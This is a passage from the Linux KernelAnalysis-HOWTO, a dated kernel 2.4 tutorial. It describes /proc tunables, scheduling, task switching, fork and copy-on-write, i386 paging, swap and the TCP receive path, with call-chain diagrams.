|   |   |   |       |-- gc_stale_time
|   |   |   |       |-- locktime
|   |   |   |       |-- mcast_solicit
|   |   |   |       |-- proxy_delay
|   |   |   |       |-- proxy_qlen
|   |   |   |       |-- retrans_time
|   |   |   |       |-- ucast_solicit
|   |   |   |       `-- unres_qlen
|   |   |   |-- route
|   |   |   |   |-- error_burst
|   |   |   |   |-- error_cost
|   |   |   |   |-- flush
|   |   |   |   |-- gc_elasticity
|   |   |   |   |-- gc_interval
|   |   |   |   |-- gc_min_interval
|   |   |   |   |-- gc_thresh
|   |   |   |   |-- gc_timeout
|   |   |   |   |-- max_delay
|   |   |   |   |-- max_size
|   |   |   |   |-- min_adv_mss
|   |   |   |   |-- min_delay
|   |   |   |   |-- min_pmtu
|   |   |   |   |-- mtu_expires
|   |   |   |   |-- redirect_load
|   |   |   |   |-- redirect_number
|   |   |   |   `-- redirect_silence
|   |   |   |-- tcp_abort_on_overflow
|   |   |   |-- tcp_adv_win_scale
|   |   |   |-- tcp_app_win
|   |   |   |-- tcp_dsack
|   |   |   |-- tcp_ecn
|   |   |   |-- tcp_fack
|   |   |   |-- tcp_fin_timeout
|   |   |   |-- tcp_keepalive_intvl
|   |   |   |-- tcp_keepalive_probes
|   |   |   |-- tcp_keepalive_time
|   |   |   |-- tcp_max_orphans
|   |   |   |-- tcp_max_syn_backlog
|   |   |   |-- tcp_max_tw_buckets
|   |   |   |-- tcp_mem
|   |   |   |-- tcp_orphan_retries
|   |   |   |-- tcp_reordering
|   |   |   |-- tcp_retrans_collapse
|   |   |   |-- tcp_retries1
|   |   |   |-- tcp_retries2
|   |   |   |-- tcp_rfc1337
|   |   |   |-- tcp_rmem
|   |   |   |-- tcp_sack
|   |   |   |-- tcp_stdurg
|   |   |   |-- tcp_syn_retries
|   |   |   |-- tcp_synack_retries
|   |   |   |-- tcp_syncookies
|   |   |   |-- tcp_timestamps
|   |   |   |-- tcp_tw_recycle
|   |   |   |-- tcp_window_scaling
|   |   |   `-- tcp_wmem
|   |   `-- unix
|   |       `-- max_dgram_qlen
|   |-- proc
|   `-- vm
|       |-- bdflush
|       |-- kswapd
|       |-- max-readahead
|       |-- min-readahead
|       |-- overcommit_memory
|       |-- page-cluster
|       `-- pagetable_cache
|-- sysvipc
|   |-- msg
|   |-- sem
|   `-- shm
|-- tty
|   |-- driver
|   |   `-- serial
|   |-- drivers
|   |-- ldisc
|   `-- ldiscs
|-- uptime
`-- version

In the directory there are also all the tasks using PID as file names (you have access to all Task information, like path of binary file, memory used, and so on).

The interesting point is that you cannot only see kernel values (for example, see info about any task or about network options enabled of your TCP/IP stack) but you are also able to modify some of it, typically that ones under /proc/sys directory:

/proc/sys/
          acpi
          dev
          debug
          fs
          proc
          net
          vm
          kernel

/proc/sys/kernel

Below are very important and well-know kernel values, ready to be modified:

overflowgid
overflowuid
random
threads-max // Max number of threads, typically 16384
sysrq // kernel hack: you can view istant register values and more
sem
msgmnb
msgmni
msgmax
shmmni
shmall
shmmax
rtsig-max
rtsig-nr
modprobe // modprobe file location
printk
ctrl-alt-del
cap-bound
panic
domainname // domain name of your Linux box
hostname // host name of your Linux box
version // date info about kernel compilation
osrelease // kernel version (i.e. 2.4.5)
ostype // Linux!

/proc/sys/net

This can be considered the most useful proc subdirectory. It allows you to change very important settings for your network kernel configuration.

core
ipv4
ipv6
unix
ethernet
802

/proc/sys/net/core

Listed below are general net settings, like "netdev_max_backlog" (typically 300), the length of all your network packets. This value can limit your network bandwidth when receiving packets, Linux has to wait up to scheduling time to flush buffers (due to bottom half mechanism), about 1000/HZ ms

  300    *        100             =     30 000
packets     HZ(Timeslice freq)         packets/s

30 000   *       1000             =      30 M
packets     average (Bytes/packet)   throughput Bytes/s

If you want to get higher throughput, you need to increase netdev_max_backlog, by typing:

echo 4000 > /proc/sys/net/core/netdev_max_backlog

Note: Warning for some HZ values: under some architecture (like alpha or arm-tbox) it is 1000, so you can have 300 MBytes/s of average throughput.

/proc/sys/net/ipv4

"ip_forward", enables or disables ip forwarding in your Linux box. This is a generic setting for all devices, you can specify each device you choose.

/proc/sys/net/ipv4/conf/interface

I think this is the most useful /proc entry, because it allows you to change some net settings to support wireless networks (see Wireless-HOWTO for more information).

Here are some examples of when you could use this setting:

  • "forwarding", to enable ip forwarding for your interface
  • "proxy_arp", to enable proxy arp feature. For more see Proxy arp HOWTO under Linux Documentation Project and Wireless-HOWTO for proxy arp use in Wireless networks.
  • "send_redirects" to avoid interface to send ICMP_REDIRECT (as before, see Wireless-HOWTO for more).


KernelAnalysis-HOWTO: Linux Multitasking

 Next Previous Contents

6. Linux Multitasking

6.1 Overview

This section will analyze data structures--the mechanism used to manage multitasking environment under Linux.

Task States

A Linux Task can be one of the following states (according to [include/linux.h]):

  1. TASK_RUNNING, it means that it is in the "Ready List"
  2. TASK_INTERRUPTIBLE, task waiting for a signal or a resource (sleeping)
  3. TASK_UNINTERRUPTIBLE, task waiting for a resource (sleeping), it is in same "Wait Queue"
  4. TASK_ZOMBIE, task child without father
  5. TASK_STOPPED, task being debugged

Graphical Interaction

       ______________     CPU Available     ______________
      |              |  ---------------->  |              |
      | TASK_RUNNING |                     | Real Running |
      |______________|  <----------------  |______________|
                           CPU Busy
            |   /|\
Waiting for |    | Resource
 Resource   |    | Available
           \|/   |
    ______________________
   |                      |
   | TASK_INTERRUPTIBLE / |
   | TASK-UNINTERRUPTIBLE |
   |______________________|

                     Main Multitasking Flow

6.2 Timeslice

PIT 8253 Programming

Each 10 ms (depending on HZ value) an IRQ0 comes, which helps us in a multitasking environment. This signal comes from PIC 8259 (in arch 386+) which is connected to PIT 8253 with a clock of 1.19318 MHz.

    _____         ______        ______
   | CPU |<------| 8259 |------| 8253 |
   |_____| IRQ0  |______|      |___/|\|
                                    |_____ CLK 1.193.180 MHz

// From include/asm/param.h
#ifndef HZ
#define HZ 100
#endif

// From include/asm/timex.h
#define CLOCK_TICK_RATE 1193180 /* Underlying HZ */

// From include/linux/timex.h
#define LATCH ((CLOCK_TICK_RATE + HZ/2) / HZ) /* For divider */

// From arch/i386/kernel/i8259.c
outb_p(0x34,0x43); /* binary, mode 2, LSB/MSB, ch 0 */
outb_p(LATCH & 0xff , 0x40); /* LSB */
outb(LATCH >> 8 , 0x40); /* MSB */

So we program 8253 (PIT, Programmable Interval Timer) with LATCH = (1193180/HZ) = 11931.8 when HZ=100 (default). LATCH indicates the frequency divisor factor.

LATCH = 11931.8 gives to 8253 (in output) a frequency of 1193180 / 11931.8 = 100 Hz, so period = 10ms

So Timeslice = 1/HZ.

With each Timeslice we temporarily interrupt current process execution (without task switching), and we do some housekeeping work, after which we'll return back to our previous process.

Linux Timer IRQ ICA

Linux Timer IRQ
IRQ 0 [Timer]
 |
\|/
|IRQ0x00_interrupt        //   wrapper IRQ handler
   |SAVE_ALL              ---
      |do_IRQ                |   wrapper routines
         |handle_IRQ_event  ---
            |handler() -> timer_interrupt  // registered IRQ 0 handler
               |do_timer_interrupt
                  |do_timer
                     |jiffies++;
                     |update_process_times
                     |if (--counter <= 0) { // if time slice ended then
                        |counter = 0;        //   reset counter
                        |need_resched = 1;   //   prepare to reschedule
                     |}
         |do_softirq
         |while (need_resched) { // if necessary
            |schedule             //   reschedule
            |handle_softirq
         |}
   |RESTORE_ALL

Functions can be found under:

  • IRQ0x00_interrupt, SAVE_ALL [include/asm/hw_irq.h]
  • do_IRQ, handle_IRQ_event [arch/i386/kernel/irq.c]
  • timer_interrupt, do_timer_interrupt [arch/i386/kernel/time.c]
  • do_timer, update_process_times [kernel/timer.c]
  • do_softirq [kernel/soft_irq.c]
  • RESTORE_ALL, while loop [arch/i386/kernel/entry.S]

Notes:

  1. Function "IRQ0x00_interrupt" (like others IRQ0xXY_interrupt) is directly pointed by IDT (Interrupt Descriptor Table, similar to Real Mode Interrupt Vector Table, see Cap 11 for more), so EVERY interrupt coming to the processor is managed by "IRQ0x#NR_interrupt" routine, where #NR is the interrupt number. We refer to it as "wrapper irq handler".
  2. wrapper routines are executed, like "do_IRQ","handle_IRQ_event" [arch/i386/kernel/irq.c].
  3. After this, control is passed to official IRQ routine (pointed by "handler()"), previously registered with "request_irq" [arch/i386/kernel/irq.c], in this case "timer_interrupt" [arch/i386/kernel/time.c].
  4. "timer_interrupt" [arch/i386/kernel/time.c] routine is executed and, when it ends,
  5. control backs to some assembler routines [arch/i386/kernel/entry.S].

Description:

To manage Multitasking, Linux (like every other Unix) uses a ''counter'' variable to keep track of how much CPU was used by the task. So, on each IRQ 0, the counter is decremented (point 4) and, when it reaches 0, we need to switch task to manage timesharing (point 4 "need_resched" variable is set to 1, then, in point 5 assembler routines control "need_resched" and call, if needed, "schedule" [kernel/sched.c]).

6.3 Scheduler

The scheduler is the piece of code that chooses what Task has to be executed at a given time.

Any time you need to change running task, select a candidate. Below is the ''schedule [kernel/sched.c]'' function.

|schedule
   |do_softirq // manages post-IRQ work
   |for each task
      |calculate counter
   |prepare_to__switch // does anything
   |switch_mm // change Memory context (change CR3 value)
   |switch_to (assembler)
      |SAVE ESP
      |RESTORE future_ESP
      |SAVE EIP
      |push future_EIP *** push parameter as we did a call
         |jmp __switch_to (it does some TSS work)
         |__switch_to()
          ..
         |ret *** ret from call using future_EIP in place of call address
      new_task

6.4 Bottom Half, Task Queues. and Tasklets

Overview

In classic Unix, when an IRQ comes (from a device), Unix makes "task switching" to interrogate the task that requested the device.

To improve performance, Linux can postpone the non-urgent work until later, to better manage high speed event.

This feature is managed since kernel 1.x by the "bottom half" (BH). The irq handler "marks" a bottom half, to be executed later, in scheduling time.

In the latest kernels there is a "task queue"that is more dynamic than BH and there is also a "tasklet" to manage multiprocessor environments.

BH schema is:

  1. Declaration
  2. Mark
  3. Execution

Declaration

#define DECLARE_TASK_QUEUE(q) LIST_HEAD(q)
#define LIST_HEAD(name) \
   struct list_head name = LIST_HEAD_INIT(name)
struct list_head {
   struct list_head *next, *prev;
};
#define LIST_HEAD_INIT(name) { &(name), &(name) }

      ''DECLARE_TASK_QUEUE'' [include/linux/tqueue.h, include/linux/list.h]

"DECLARE_TASK_QUEUE(q)" macro is used to declare a structure named "q" managing task queue.

Mark

Here is the ICA schema for "mark_bh" [include/linux/interrupt.h] function:

|mark_bh(NUMBER)
   |tasklet_hi_schedule(bh_task_vec + NUMBER)
      |insert into tasklet_hi_vec
         |__cpu_raise_softirq(HI_SOFTIRQ)
            |soft_active |= (1 << HI_SOFTIRQ)

                   ''mark_bh''[include/linux/interrupt.h]

For example, when an IRQ handler wants to "postpone" some work, it would "mark_bh(NUMBER)", where NUMBER is a BH declarated (see section before).

Execution

We can see this calling from "schedule" [kernel/sched.c] function:

/* Do "administrative" work here while we don't hold any locks */
|if (softirq_active(this_cpu) & softirq_mask(this_cpu))
   |do_softirq();
      |for (active=softirq_active & softirq_mask;active;active >>= 1)
         |softirq_vec++->action();

                  ''schedule'' [kernel/sched.c]

6.5 Very low level routines

set_intr_gate

set_trap_gate

set_task_gate (not used).

(*interrupt)[NR_IRQS](void) = { IRQ0x00_interrupt, IRQ0x01_interrupt, ..}

NR_IRQS = 224 [kernel 2.4.2]

6.6 Task Switching

When does Task switching occur?

Now we'll see how the Linux Kernel switchs from one task to another.

Task Switching is needed in many cases, such as the following:

  • when TimeSlice ends, we need to give access to some other task
  • when a task decide to access a resource, it sleeps for it, so we have to choose another task
  • when a task waits for a pipe, we have to give access to other task, which would write to pipe

Task Switching

                           TASK SWITCHING TRICK
#define switch_to(prev,next,last) do {                                  \
        asm volatile("pushl %%esi\n\t"                                  \
                     "pushl %%edi\n\t"                                  \
                     "pushl %%ebp\n\t"                                  \
                     "movl %%esp,%0\n\t"        /* save ESP */          \
                     "movl %3,%%esp\n\t"        /* restore ESP */       \
                     "movl $1f,%1\n\t"          /* save EIP */          \
                     "pushl %4\n\t"             /* restore EIP */       \
                     "jmp __switch_to\n"                                \
                     "1:\t"                                             \
                     "popl %%ebp\n\t"                                   \
                     "popl %%edi\n\t"                                   \
                     "popl %%esi\n\t"                                   \
                     :"=m" (prev->thread.esp),"=m" (prev->thread.eip),  \
                      "=b" (last)                                       \
                     :"m" (next->thread.esp),"m" (next->thread.eip),    \
                      "a" (prev), "d" (next),                           \
                      "b" (prev));                                      \
} while (0)

Trick is here:

  1. ''pushl %4'' which puts future_EIP into the stack
  2. ''jmp __switch_to'' which execute ''__switch_to'' function, but in opposite of ''call'' we will return to valued pushed in point 1 (so new Task!)

      U S E R   M O D E                 K E R N E L     M O D E

 |          |     |          |       |          |     |          |
 |          |     |          | Timer |          |     |          |
 |          |     |  Normal  |  IRQ  |          |     |          |
 |          |     |   Exec   |------>|Timer_Int.|     |          |
 |          |     |     |    |       | ..       |     |          |
 |          |     |    \|/   |       |schedule()|     | Task1 Ret|
 |          |     |          |       |_switch_to|<--  |  Address |
 |__________|     |__________|       |          |  |  |          |
                                     |          |  |S |          |
Task1 Data/Stack   Task1 Code        |          |  |w |          |
                                     |          | T|i |          |
                                     |          | a|t |          |
 |          |     |          |       |          | s|c |          |
 |          |     |          | Timer |          | k|h |          |
 |          |     |  Normal  |  IRQ  |          |  |i |          |
 |          |     |   Exec   |------>|Timer_Int.|  |n |          |
 |          |     |     |    |       | ..       |  |g |          |
 |          |     |    \|/   |       |schedule()|  |  | Task2 Ret|
 |          |     |          |       |_switch_to|<--  |  Address |
 |__________|     |__________|       |__________|     |__________|

Task2 Data/Stack   Task2 Code        Kernel Code  Kernel Data/Stack

6.7 Fork

Overview

Fork is used to create another task. We start from a Task Parent, and we copy many data structures to Task Child.

                               |         |
                               | ..      |
         Task Parent           |         |
         |         |           |         |
         |  fork   |---------->|  CREATE |
         |         |          /|   NEW   |
         |_________|         / |   TASK  |
                            /  |         |
             ---           /   |         |
             ---          /    | ..      |
                         /     |         |
         Task Child     /
         |         |   /
         |  fork   |<-/
         |         |
         |_________|

                       Fork SysCall

What is not copied

New Task just created (''Task Child'') is almost equal to Parent (''Task Parent''), there are only few differences:

  1. obviously PID
  2. child ''fork()'' will return 0, while parent ''fork()'' will return PID of Task Child, to distinguish them each other in User Mode
  3. All child data pages are marked ''READ + EXECUTE'', no "WRITE'' (while parent has WRITE right for its own pages) so, when a write request comes, a ''Page Fault'' exception is generated which will create a new independent page: this mechanism is called ''Copy on Write'' (see Cap.10 for more).

Fork ICA

|sys_fork
   |do_fork
      |alloc_task_struct
         |__get_free_pages
       |p->state = TASK_UNINTERRUPTIBLE
       |copy_flags
       |p->pid = get_pid
       |copy_files
       |copy_fs
       |copy_sighand
       |copy_mm // should manage CopyOnWrite (I part)
          |allocate_mm
          |mm_init
             |pgd_alloc -> get_pgd_fast
                |get_pgd_slow
          |dup_mmap
             |copy_page_range
                |ptep_set_wrprotect
                   |clear_bit // set page to read-only
          |copy_segments // For LDT
       |copy_thread
          |childregs->eax = 0
          |p->thread.esp = childregs // child fork returns 0
          |p->thread.eip = ret_from_fork // child starts from fork exit
       |retval = p->pid // parent fork returns child pid
       |SET_LINKS // insertion of task into the list pointers
       |nr_threads++ // Global variable
       |wake_up_process(p) // Now we can wake up just created child
       |return retval

               fork ICA

  • sys_fork [arch/i386/kernel/process.c]
  • do_fork [kernel/fork.c]
  • alloc_task_struct [include/asm/processor.c]
  • __get_free_pages [mm/page_alloc.c]
  • get_pid [kernel/fork.c]
  • copy_files
  • copy_fs
  • copy_sighand
  • copy_mm
  • allocate_mm
  • mm_init
  • pgd_alloc -> get_pgd_fast [include/asm/pgalloc.h]
  • get_pgd_slow
  • dup_mmap [kernel/fork.c]
  • copy_page_range [mm/memory.c]
  • ptep_set_wrprotect [include/asm/pgtable.h]
  • clear_bit [include/asm/bitops.h]
  • copy_segments [arch/i386/kernel/process.c]
  • copy_thread
  • SET_LINKS [include/linux/sched.h]
  • wake_up_process [kernel/sched.c]

Copy on Write

To implement Copy on Write for Linux:

  1. Mark all copied pages as read-only, causing a Page Fault when a child tries to write to them.
  2. Page Fault handler creates a new page for the Task caused exception.

 | Page
 | Fault
 | Exception
 |
 |
 -----------> |do_page_fault
                 |handle_mm_fault
                    |handle_pte_fault
                       |do_wp_page
                          |alloc_page      // Allocate a new page
                          |break_cow
                             |copy_cow_page // Copy old page to new one
                             |establish_pte // reconfig Page Table pointers
                                |set_pte

              Page Fault ICA

  • do_page_fault [arch/i386/mm/fault.c]
  • handle_mm_fault [mm/memory.c]
  • handle_pte_fault
  • do_wp_page
  • alloc_page [include/linux/mm.h]
  • break_cow [mm/memory.c]
  • copy_cow_page
  • establish_pte
  • set_pte [include/asm/pgtable-3level.h]


KernelAnalysis-HOWTO: Linux Memory Management

 Next Previous Contents

7. Linux Memory Management

7.1 Overview

Linux uses segmentation + pagination, which simplifies notation.

Segments

Linux uses only 4 segments:

  • 2 segments (code and data/stack) for KERNEL SPACE from [0xC000 0000] (3 GB) to [0xFFFF FFFF] (4 GB)
  • 2 segments (code and data/stack) for USER SPACE from [0] (0 GB) to [0xBFFF FFFF] (3 GB)

                               __
   4 GB--->|                |    |
           |     Kernel     |    |  Kernel Space (Code + Data/Stack)
           |                |  __|
   3 GB--->|----------------|  __
           |                |    |
           |                |    |
   2 GB--->|                |    |
           |     Tasks      |    |  User Space (Code + Data/Stack)
           |                |    |
   1 GB--->|                |    |
           |                |    |
           |________________|  __|
 0x00000000
          Kernel/User Linear addresses

7.2 Specific i386 implementation

Again, Linux implements Pagination using 3 Levels of Paging, but in i386 architecture only 2 of them are really used:

   ------------------------------------------------------------------
   L    I    N    E    A    R         A    D    D    R    E    S    S
   ------------------------------------------------------------------
        \___/                 \___/                     \_____/

     PD offset              PF offset                 Frame offset
     [10 bits]              [10 bits]                 [12 bits]
          |                     |                          |
          |                     |     -----------          |
          |                     |     |  Value  |----------|---------
          |     |         |     |     |---------|   /|\    |        |
          |     |         |     |     |         |    |     |        |
          |     |         |     |     |         |    | Frame offset |
          |     |         |     |     |         |   \|/             |
          |     |         |     |     |---------|<------            |
          |     |         |     |     |         |      |            |
          |     |         |     |     |         |      | x 4096     |
          |     |         |  PF offset|_________|-------            |
          |     |         |       /|\ |         |                   |
      PD offset |_________|-----   |  |         |          _________|
            /|\ |         |    |   |  |         |          |
             |  |         |    |  \|/ |         |         \|/
 _____       |  |         |    ------>|_________|   PHYSICAL ADDRESS
|     |     \|/ |         |    x 4096 |         |
| CR3 |-------->|         |           |         |
|_____|         | ....... |           | ....... |
                |         |           |         |

               Page Directory          Page File

                       Linux i386 Paging

7.3 Memory Mapping

Linux manages Access Control with Pagination only, so different Tasks will have the same segment addresses, but different CR3 (register used to store Directory Page Address), pointing to different Page Entries.

In User mode a task cannot overcome 3 GB limit (0 x C0 00 00 00), so only the first 768 page directory entries are meaningful (768*4MB = 3GB).

When a Task goes in Kernel Mode (by System call or by IRQ) the other 256 pages directory entries become important, and they point to the same page files as all other Tasks (which are the same as the Kernel).

Note that Kernel (and only kernel) Linear Space is equal to Kernel Physical Space, so:

            ________________ _____
           |Other KernelData|___  |  |                |
           |----------------|   | |__|                |
           |     Kernel     |\  |____|   Real Other   |
  3 GB --->|----------------| \      |   Kernel Data  |
           |                |\ \     |                |
           |              __|_\_\____|__   Real       |
           |      Tasks     |  \ \   |     Tasks      |
           |              __|___\_\__|__   Space      |
           |                |    \ \ |                |
           |                |     \ \|----------------|
           |                |      \ |Real KernelSpace|
           |________________|       \|________________|

           Logical Addresses          Physical Addresses

Linear Kernel Space corresponds to Physical Kernel Space translated 3 GB down (in fact page tables are something like { "00000000", "00000001" }, so they operate no virtualization, they only report physical addresses they take from linear ones).

Notice that you'll not have an "addresses conflict" between Kernel and User spaces because we can manage physical addresses with Page Tables.

7.4 Low level memory allocation

Boot Initialization

We start from kmem_cache_init (launched by start_kernel [init/main.c] at boot up).

|kmem_cache_init
   |kmem_cache_estimate

kmem_cache_init [mm/slab.c]

kmem_cache_estimate

Now we continue with mem_init (also launched by start_kernel[init/main.c])

|mem_init
   |free_all_bootmem
      |free_all_bootmem_core

mem_init [arch/i386/mm/init.c]

free_all_bootmem [mm/bootmem.c]

free_all_bootmem_core

Run-time allocation

Under Linux, when we want to allocate memory, for example during "copy_on_write" mechanism (see Cap.10), we call:

|copy_mm
   |allocate_mm = kmem_cache_alloc
      |__kmem_cache_alloc
         |kmem_cache_alloc_one
            |alloc_new_slab
               |kmem_cache_grow
                  |kmem_getpages
                     |__get_free_pages
                        |alloc_pages
                           |alloc_pages_pgdat
                              |__alloc_pages
                                 |rmqueue
                                 |reclaim_pages

Functions can be found under:

  • copy_mm [kernel/fork.c]
  • allocate_mm [kernel/fork.c]
  • kmem_cache_alloc [mm/slab.c]
  • __kmem_cache_alloc
  • kmem_cache_alloc_one
  • alloc_new_slab
  • kmem_cache_grow
  • kmem_getpages
  • __get_free_pages [mm/page_alloc.c]
  • alloc_pages [mm/numa.c]
  • alloc_pages_pgdat
  • __alloc_pages [mm/page_alloc.c]
  • rm_queue
  • reclaim_pages [mm/vmscan.c]

TODO: Understand Zones

7.5 Swap

Overview

Swap is managed by the kswapd daemon (kernel thread).

kswapd

As other kernel threads, kswapd has a main loop that wait to wake up.

|kswapd
   |// initialization routines
   |for (;;) { // Main loop
      |do_try_to_free_pages
      |recalculate_vm_stats
      |refill_inactive_scan
      |run_task_queue
      |interruptible_sleep_on_timeout // we sleep for a new swap request
   |}

  • kswapd [mm/vmscan.c]
  • do_try_to_free_pages
  • recalculate_vm_stats [mm/swap.c]
  • refill_inactive_scan [mm/vmswap.c]
  • run_task_queue [kernel/softirq.c]
  • interruptible_sleep_on_timeout [kernel/sched.c]

When do we need swapping?

Swapping is needed when we have to access a page that is not in physical memory.

Linux uses ''kswapd'' kernel thread to carry out this purpose. When the Task receives a page fault exception we do the following:

 | Page Fault Exception
 | cause by all these conditions:
 |   a-) User page
 |   b-) Read or write access
 |   c-) Page not present
 |
 |
 -----------> |do_page_fault
                 |handle_mm_fault
                    |pte_alloc
                       |pte_alloc_one
                          |__get_free_page = __get_free_pages
                             |alloc_pages
                                |alloc_pages_pgdat
                                   |__alloc_pages
                                      |wakeup_kswapd // We wake up kernel thread kswapd

                   Page Fault ICA

  • do_page_fault [arch/i386/mm/fault.c]
  • handle_mm_fault [mm/memory.c]
  • pte_alloc
  • pte_alloc_one [include/asm/pgalloc.h]
  • __get_free_page [include/linux/mm.h]
  • __get_free_pages [mm/page_alloc.c]
  • alloc_pages [mm/numa.c]
  • alloc_pages_pgdat
  • __alloc_pages
  • wakeup_kswapd [mm/vmscan.c]


KernelAnalysis-HOWTO: Linux Networking

 Next Previous Contents

8. Linux Networking

8.1 How Linux networking is managed?

There exists a device driver for each kind of NIC. Inside it, Linux will ALWAYS call a standard high level routing: "netif_rx [net/core/dev.c]", which will controls what 3 level protocol the frame belong to, and it will call the right 3 level function (so we'll use a pointer to the function to determine which is right).

8.2 TCP example

We'll see now an example of what happens when we send a TCP packet to Linux, starting from ''netif_rx [net/core/dev.c]'' call.

Interrupt management: "netif_rx"

|netif_rx
   |__skb_queue_tail
      |qlen++
      |* simple pointer insertion *
   |cpu_raise_softirq
      |softirq_active(cpu) |= (1 << NET_RX_SOFTIRQ) // set bit NET_RX_SOFTIRQ in the BH vector

Functions:

  • __skb_queue_tail [include/linux/skbuff.h]
  • cpu_raise_softirq [kernel/softirq.c]

Post Interrupt management: "net_rx_action"

Once IRQ interaction is ended, we need to follow the next part of the frame life and examine what NET_RX_SOFTIRQ does.

We will next call ''net_rx_action [net/core/dev.c]'' according to "net_dev_init [net/core/dev.c]".

|net_rx_action
   |skb = __skb_dequeue (the exact opposite of __skb_queue_tail)
   |for (ptype = first_protocol; ptype < max_protocol; ptype++) // Determine
      |if (skb->protocol == ptype)                               // what is the network protocol
         |ptype->func -> ip_rcv // according to ''struct ip_packet_type [net/ipv4/ip_output.c]''

    **** NOW WE KNOW THAT PACKET IS IP ****
         |ip_rcv
            |NF_HOOK (ip_rcv_finish)
               |ip_route_input // search from routing table to determine function to call
                  |skb->dst->input -> ip_local_deliver // according to previous routing table check, destination is local machine
                     |ip_defrag // reassembles IP fragments
                        |NF_HOOK (ip_local_deliver_finish)
                           |ipprot->handler -> tcp_v4_rcv // according to ''tcp_protocol [include/net/protocol.c]''

     **** NOW WE KNOW THAT PACKET IS TCP ****
                           |tcp_v4_rcv
                              |sk = __tcp_v4_lookup
                              |tcp_v4_do_rcv
                                 |switch(sk->state)

     *** Packet can be sent to the task which uses relative socket ***
                                 |case TCP_ESTABLISHED:
                                    |tcp_rcv_established
                                       |__skb_queue_tail // enqueue packet to socket
                                       |sk->data_ready -> sock_def_readable
                                          |wake_up_interruptible

     *** Packet has still to be handshaked by 3-way TCP handshake ***
                                 |case TCP_LISTEN:
                                    |tcp_v4_hnd_req
                                       |tcp_v4_search_req
                                       |tcp_check_req
                                          |syn_recv_sock -> tcp_v4_syn_recv_sock
                                       |__tcp_v4_lookup_established
                                 |tcp_rcv_state_process

                    *** 3-Way TCP Handshake ***
                                    |switch(sk->state)
                                    |case TCP_LISTEN: // We received SYN
                                       |conn_request -> tcp_v4_conn_request
                                          |tcp_v4_send_synack // Send SYN + ACK
                                             |tcp_v4_synq_add // set SYN state
                                    |case TCP_SYN_SENT: // we received SYN + ACK
                                       |tcp_rcv_synsent_state_process
                                          tcp_set_state(TCP_ESTABLISHED)
                                             |tcp_send_ack
                                                |tcp_transmit_skb
                                                   |queue_xmit -> ip_queue_xmit
                                                      |ip_queue_xmit2
                                                         |skb->dst->output
                                    |case TCP_SYN_RECV: // We received ACK
                                       |if (ACK)
                                          |tcp_set_state(TCP_ESTABLISHED)

Functions can be found under:

  • net_rx_action [net/core/dev.c]
  • __skb_dequeue [include/linux/skbuff.h]
  • ip_rcv [net/ipv4/ip_input.c]
  • NF_HOOK -> nf_hook_slow [net/core/netfilter.c]
  • ip_rcv_finish [net/ipv4/ip_input.c]
  • ip_route_input [net/ipv4/route.c]
  • ip_local_deliver [net/ipv4/ip_input.c]
  • ip_defrag [net/ipv4/ip_fragment.c]
  • ip_local_deliver_finish [net/ipv4/ip_input.c]
  • tcp_v4_rcv [net/ipv4/tcp_ipv4.c]
  • __tcp_v4_lookup
  • tcp_v4_do_rcv
  • tcp_rcv_established [net/ipv4/tcp_input.c]
  • __skb_queue_tail [include/linux/skbuff.h]
  • sock_def_readable [net/core/sock.c]
  • wake_up_interruptible [include/linux/sched.h]
  • tcp_v4_hnd_req [net/ipv4/tcp_ipv4.c]
  • tcp_v4_search_req
  • tcp_check_req
  • tcp_v4_syn_recv_sock
  • __tcp_v4_lookup_established
  • tcp_rcv_state_process [net/ipv4/tcp_input.c]
  • tcp_v4_conn_request [net/ipv4/tcp_ipv4.c]
  • tcp_v4_send_synack
  • tcp_v4_synq_add
  • tcp_rcv_synsent_state_process [net/ipv4/tcp_input.c]
  • tcp_set_state [include/net/tcp.h]
  • tcp_send_ack [net/ipv4/tcp_output.c]

Description:

  • First we determine protocol type (IP, then TCP)
  • NF_HOOK (function) is a wrapper routine that first manages the network filter (for example firewall), then it calls ''function''.
  • After we manage 3-way TCP Handshake which consists of:

SERVER (LISTENING)                       CLIENT (CONNECTING)
                           SYN
                   <-------------------

                        SYN + ACK
                   ------------------->

                           ACK
                   <-------------------

                    3-Way TCP handshake

  • In the end we only have to launch "tcp_rcv_established [net/ipv4/tcp_input.c]" which gives the packet to the user socket and wakes it up.


KernelAnalysis-HOWTO: Linux File System

 Next Previous Contents

9. Linux File System

TODO


KernelAnalysis-HOWTO: Useful Tips

 Next Previous Contents

10. Useful Tips

10.1 Stack and Heap

Overview

Here we view how "stack" and "heap" are allocated in memory

Memory allocation

FF..        |                 | <-- bottom of the stack
       /|\  |                 |   |
 higher |   |                 |   |   stack
 values |   |                 |  \|/  growing
            |                 |
XX..        |                 | <-- top of the stack [Stack Pointer]
            |                 |
            |                 |
            |                 |
00..        |_________________| <-- end of stack [Stack Segment]

                   Stack

Memory address values start from 00.. (which is also where Stack Segment begins) and they grow going toward FF.. value.

XX.. is the actual value of the Stack Pointer.

Stack is used by functions for:

  1. global variables
  2. local variables
  3. return address

For example, for a classical function:

 |int foo_function (parameter_1, parameter_2, ..., parameter_n) {
    |variable_1 declaration;
    |variable_2 declaration;
      ..
    |variable_n declaration;

    |// Body function
    |dynamic variable_1 declaration;
    |dynamic variable_2 declaration;
     ..
    |dynamic variable_n declaration;

    |// Code is inside Code Segment, not Data/Stack segment!

    |return (ret-type) value; // often it is inside some register, for i386 eax register is used.
 |}
we have

          |                       |
          | 1. parameter_1 pushed | \
    S     | 2. parameter_2 pushed |  | Before
    T     | ...................   |  | the calling
    A     | n. parameter_n pushed | /
    C     | ** Return address **  | -- Calling
    K     | 1. local variable_1   | \
          | 2. local variable_2   |  | After
          | .................     |  | the calling
          | n. local variable_n   | /
          |                       |
         ...                     ...   Free
         ...                     ...   stack
          |                       |
    H     | n. dynamic variable_n | \
    E     | ...................   |  | Allocated by
    A     | 2. dynamic variable_2 |  | malloc & kmalloc
    P     | 1. dynamic variable_1 | /
          |_______________________|

            Typical stack usage

Note: variables order can be different depending on hardware architecture.

10.2 Application vs Process

Base definition

We have to distinguish 2 concepts:

  • Application: that is the useful code we want to execute
  • Process: that is the IMAGE on memory of the application (it depends on memory strategy used, segmentation and/or Pagination).

Often Process is also called Task or Thread.

10.3 Locks

Overview

2 kind of locks:

  1. intraCPU
  2. interCPU

10.4 Copy_on_write

Copy_on_write is a mechanism used to reduce memory usage. It postpones memory allocation until the memory is really needed.

For example, when a task executes the "fork()" system call (to create another task), we still use the same memory pages as the parent, in read only mode. When the new task WRITES into the old page, it causes an exception and the page is copied and marked "rw" (read, write).

1-) Page X is shared between Task Parent and Task Child
 Task Parent
 |         | RW Access  ______
 |         |---------->|Page X|
 |_________|           |______|
                          /|\
                           |
 Task Child                |
